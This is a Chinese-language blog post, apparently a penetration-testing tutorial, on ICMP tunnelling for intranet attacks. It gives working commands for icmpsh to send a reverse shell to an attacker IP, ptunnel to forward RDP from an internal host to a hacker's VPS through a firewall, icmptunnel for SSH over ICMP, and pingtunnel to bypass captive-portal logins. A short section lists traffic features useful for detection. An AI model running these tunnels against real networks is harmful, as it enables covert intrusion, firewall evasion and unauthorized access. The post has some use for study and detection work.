zoukankan      html  css  js  c++  java
  • 内网渗透-icmp通信原理&特征

    一、ICMP隧道技术解析

    icmp协议

    Internet Control Message Protocol Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

    ICMP帧格式如下所示

     类型和代码字段决定了ICMP报文的类型,如下图所示

    ICMP隧道技术原理

    由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性。

    通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。

     进行隐蔽传输的时候,肉鸡运行并接受外部攻击端的ICMP_ECHO数据包,攻击端把需要执行的命令隐藏在ICMP_ECHO数据包中,肉鸡接收到该数据包,解出其中隐藏的命令,并在防火墙内部主机上执行,再把执行结果隐藏在ICMP_ECHOREPLY回包中,发送给外部供给端。

     ICMP隧道优点

    优点:

    1、防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高。

    缺点:

    1、ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低。

    二、ICMP隧道攻击实现

    icmpsh

    git clone https://github.com/inquisb/icmpsh.git

     受控端(客户端)只能运行在Windows机器上,而主控端(服务端)有三个版本

    关闭攻击机的默认icmp应答

    sysctl -w net.ipv4.icmp_echo_ignore_all=1

    受害者(被控端)执行

    icmpsh.exe -t 192.168.8.180

    成功通过dns隧道反弹shell回来。

    流量分析,icmp隧道和普通的icmp包有什么区别

     建立隧道之后,是受害者不断发送icmp的request包,类似于给server段发送心跳

    区别于正常的ICMP包,ICMP隧道的iIdentifier字段

    1、 icmpsh的iIdentifier字段是默认写死的0001(大端)

    2、正常的icmp传输的data长度是固定的,根据icmp包的长度是否规律也可以判断主机是否有问题。

    3、一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生大量 ICMP 数据包。

    4、正常的icmp请求和响应的数据部分内容是一样的。

    ptunnel

    ptunnel是一个icmp隧道中专的工具

     将自身的icmp关闭

    sysctl -w net.ipv4.icmp_echo_ignore_all=1

    描述一个攻击场景,黑客拿下一个web服务器,但是这个web服务器有防火墙,这时只有一个webshell,发现内网一台脆弱主机,但是防火墙的出站规则很严格,通过tcp及以上协议进行流量转发都被防火墙过滤掉了,只有ping icmp协议未被防火墙阻断,此时就可以使用ptunnel进行icmp隧道中转。

    在被控主机web服务器和黑客的VPS都安装ptunnel,被控web服务器直接执行ptunnel命令

    黑客的vps执行

    ptunnel  -p  123.56.6.160  -lp  3333  -da  172.16.7.6  -dp  3389
    -p :跳板机的ip        -lp:自己监听的端口     -da:内网目标的主机IP     -dp:想连接的目标的端口
    

    黑客最终就可以在vps上面链接127.0.0.1 3389或者在本机链接vps的110.23.2.45 3389实现内网端口转发出来入侵。

    Icmptunnel  

    git clone https://github.com/jamesbarlow/icmptunnel.git
    cd  icmptunnel&&make

    使用场景和icmpsh一样(被攻击对象为linux的情况下)

    攻击者IP:192.168.8.17
    被攻击者的IP:192.168.8.37

    攻击者开启icmptunnel服务端模式:

    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
     ./icmptunnel –s

    然后另开一个终端,执行命令

    /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0    指定一个网卡tun0,用于给隧道服务器端分配一个IP地址(10.0.0.1)

    被攻击者执行

    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
     ./icmptunnel 192.168.1.16

    连接上攻击者的icmptunnel服务端,然后再开一个终端,执行命令

    /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0     指定IP地址为10.0.0.2

    此时建立了icmp隧道,在服务器端通过ssh root@10.0.0.1连接被攻击对象

    pingtunnel

    https://github.com/esrrhs/pingtunnel

    使用pingtunnel icmp通道绕过某些场合如学校、咖啡厅、机场上网认证

    下载对应的系统版本

    server

    关闭icmp echo reply

    echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

    启动

    sudo ./pingtunnel -type server

    client

    pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 

    使用浏览器配置sock5上网即可

    设置浏览器的sock5代理到127.0.0.1:4455,如果连不上网,出现socks version not supported错误日志,说明浏览器的代理不是socks5代理。如果提示非安全连接,说明dns有问题,勾上浏览器的【使用socks5代理DNS查询】

    参考链接:

    https://www.freebuf.com/network/222056.html

  • 相关阅读:
    Linux kill -9 和 kill -15 的区别
    redis 学习笔记之(五)redis-cli 命令
    专题(十四)awk
    Linux 学习笔记之(十一)SSH
    Linux 学习笔记之(十)查看文件
    rust 读写文件
    rust 显示本机ip
    rust error: linking with `link.exe` failed: exit code: 1181(未解决)
    Building a Concurrent Web Server with Async Rust
    Asynchronous Programming in Rust
  • 原文地址:https://www.cnblogs.com/R1card0/p/13263121.html
Copyright © 2011-2022 走看看